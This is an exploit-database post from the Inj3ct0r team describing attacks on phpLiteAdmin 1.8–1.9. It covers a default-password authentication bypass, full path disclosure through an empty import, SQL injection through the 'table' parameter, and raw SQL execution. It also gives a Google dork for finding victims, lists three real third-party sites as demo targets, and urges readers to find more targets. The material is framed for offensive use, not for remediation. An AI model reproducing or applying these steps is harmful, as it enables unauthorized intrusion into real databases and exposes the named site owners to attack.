phpLiteAdmin v1.8.x->1.9.x (SQLi/FD) <= Multiple Vulnerabilities

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
###
# Title : phpLiteAdmin v1.8.x->1.9.x (SQLi/FD) <= Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Type : proof of concept - webapp 0day - remote - php
# Tested on : Windows7
# Download : [http://phpliteadmin.googlecode.com]
###

# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !

######## [ Proof / Exploit ] ################|=>

# Google Dork :
# allintext:"Powered by phpLiteAdmin | "

##################
# [!] Description:
------------------
phpLiteAdmin is suffer from multiple vulnerabilities / bugs in 
v1.8.x to-> 1.9.x , the attacker can use some bug in the Script
to inject some remote SQL command/code , and Disclosure the Full Path.
# Bugs :
#------- 
# Authentication Bypass
# SQL Injection/Exec
# Full Path Disclosure
#######################

#### (1) Authentication Bypass :
--------------------------------

 [!] php-code :
line 38->39 :::::::::::::::::
//password to gain access
$password = "admin";
:::::::::::::::::::::::::::::

- not affected on all targets, just change the password to fix it

 [+] http://[target]/[path]/phpliteadmin.php
 [*] password : admin

#### (2) Full Path Disclosure :
-------------------------------
 
 [+] http://[target]/[path]/phpliteadmin.php?view=import
 [!] & Import File with (NULL/Bad) Content =>
- you get some sql error msg with the full path of phpliteadmin.php

ex: '-------------
Warning: PDO::exec(): SQLSTATE[HY000]: General error: 
trying to execute an empty query in C:\Program Files\EasyPHP-12.1\www\phpliteadmin.php on line 987
____________________________________

Warning: SQLiteDatabase::queryExec() [sqlitedatabase.queryexec]: Cannot execute empty query. 
in /homepages/20/d421371141/htdocs/pauleschoen.com/cgi-bin/phpliteadmin.php on line 646
------------------'

 proof image (http://i46.tinypic.com/ddmek5.png) # in local test
 proof image (http://i49.tinypic.com/juepet.png) # in remote test
 
#### (3) SQL Injection :
------------------------

php-code ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$query = "SELECT * FROM ".$db->quote_id($_GET['table'])." WHERE ROWID = ".$pks[$j];
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 [+] http://[target]/[path]/phpliteadmin.php?action=row_view&table='
 [&] http://[target]/[path]/phpliteadmin.php?action=row_view&table=' [ SQLi ]

 proof image (http://i46.tinypic.com/102p750.png)
 
#### (4) Exec SQL code :
------------------------
 
Go to :
 [*] http://[target]/[path]/phpliteadmin.php?view=sql
 
-& put the SQL Code in the text-area (Run SQL query/queries :)
and click 'GO' to exec ;) .

## DeMo's :

http://www.pauleschoen.com/cgi-bin/phpliteadmin.php
http://urp.caezar.net/php/ThemeFrame/phpliteadmin.php
http://www.dbcreator.co.uk/pla3.php

!+ Find More targets in Google ^_^

# ThnX 2 (Jusqua la Morts) :D

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================

#  0day.today [2018-01-02]  #